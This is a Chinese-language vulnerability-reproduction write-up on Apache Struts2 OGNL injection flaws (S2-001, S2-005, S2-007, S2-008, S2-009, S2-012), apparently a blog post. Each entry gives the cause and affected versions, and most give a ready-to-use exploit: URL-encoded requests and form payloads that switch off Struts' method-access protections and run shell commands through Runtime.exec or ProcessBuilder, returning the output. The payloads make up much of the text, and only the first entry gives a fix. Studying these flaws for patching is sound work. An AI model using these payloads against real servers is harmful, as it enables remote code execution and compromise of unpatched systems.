struts2系列漏洞复现
S2-001(CVE-2007-4556)
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
先来测试一下是否真的存在远程代码执行
发现都把password中括号里的值返回来了
这样构造如下payload
1 | %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} |
语句被执行,查看返回的语句是/user/local/tomcat即使tomcat的执行语句;
然后获取web路径,构造如下语句
1 | %{ |
可见返回了web路径,为/usr/local/tomcat/webapps/ROOT
查看当前权限,返回的是root
1 | %{ |
执行任意命令时只需要,将whoami的命令替换,例如如下内容
1 | %{ |
至此漏洞复现完成
修复方式:
改变 OGNL表达式的解析方法从而不会产生递归解析,用户的输入也不会再解析执行
S2-005
s2-005漏洞的起源源于s2-003(受影响版本:低于Struts2.0.12), struts2会将http的每个参数名解析为OGNL语句执行(可理解为Java代码)
OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这两个选项打开,S2-003的修补方式把自己上了一个锁,但是把钥匙插在了锁头上
影响版本
1 | Struts 2.0.0-2.1.8.1 |
绕过过程
1 | 1. 在S2-003中\u0023用于绕过struts2的过滤器# |
漏洞利用exp
直接GET方法访问,执行任意命令POC(无回显,空格用@代替):
1 | /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 |
s2-007
当配置了验证规则 <ActionName>-validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回
例如这里有一个 UserAction
:
1 | (...) |
然后配置有 UserAction-validation.xml
:
1 |
|
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'"
然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQL注入单引号拼接的方式即可注入任意 OGNL 表达式
影响范围
- 2.0.0 - 2.2.3
漏洞利用exp
给出执行任意代码的EXP:
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo, .apache.commons.io.IOUtils ( .lang.Runtime ().exec('id').getInputStream())) + ' |
将Exp传入可以利用的输入框,得到命令执行结果:
S2-008(CVE-2012-0391)
devMode
下支持直接执行OGNL表达式,Cookie 拦截器错误配置可造成 OGNL 表达式执行,生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令
由于debug模式本身就不该开放在生产模式,因此由debug模式引发的漏洞并没有对应的修复方案.
影响范围
- Struts 2.1.0 - Struts 2.3.1
漏洞利用exp
1 | /devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream())) |
S2-009(CVE-2011-3923)
这个漏洞跟s2-003 s2-005 属于一套的, Struts2对s2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;Struts2对s2-005的修复方法是禁止 \ 等特殊符号,使用户不能提交反斜线。 但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用
1 | /HelloWorld.acton?example=&(example)('xxx')=1 |
的方法来执行它,从而绕过官方对 #、\ 等特殊字符的防护。
影响范围
- 2.1.0 - 2.3.1.1
漏洞利用exp
1 | /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] |
S2-012
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
1 | <package name="S2-012" extends="struts-default"> |
这里 UserAction
中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行
影响范围
- 2.1.0 - 2.3.13
1 | %25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C %22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D |